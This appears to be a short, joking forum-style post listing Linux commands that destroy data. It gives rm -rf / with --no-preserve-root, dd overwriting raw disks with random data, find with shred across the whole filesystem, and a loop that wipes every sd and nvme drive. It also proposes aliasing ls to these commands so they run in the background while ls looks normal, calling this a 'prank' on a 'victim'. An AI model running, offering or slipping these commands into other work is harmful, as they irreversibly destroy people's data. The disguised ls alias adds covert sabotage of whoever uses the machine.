If you have to ask, you’re not ready to know.
1.- I will start with the infamous
rm-rf /
I don’t think there’s anything shorter or more elegant than this really. When you’re right you’re right.
These days the GNU rm specifically warns you and asks you to confirm before proceeding
./fire_nukes.sh
If you allow root privileges, there is:
sudo rm -rf --no-preserve-root /
If you want to be malicious:
sudo dd if=/dev/urandom of=/dev/sdX
or
sudo find / -exec shred -u {} \;
Let’s extend a little and really do some damage
for x in /dev/(sd|nvme)*; do dd if=/dev/urandom of=$x bs=1024 & ; done
Now alias ls= all that. And throw it in a background process. And actually return the value of ls so it doesn’t look like anything nefarious is going on.
I bet you could chroot into a ram disk so you’re not tearing the floor out from under you.
The victim would find this prank hilarious and everyone would like you and think you’re super cool.
dd if=/dev/urandom of=/dev/sdx will overwrite every single byte of /dev/sdx with random data. Replace /dev/sdx with the drive you want to wipe. Optionally, specify a larger block size to speed it up more.
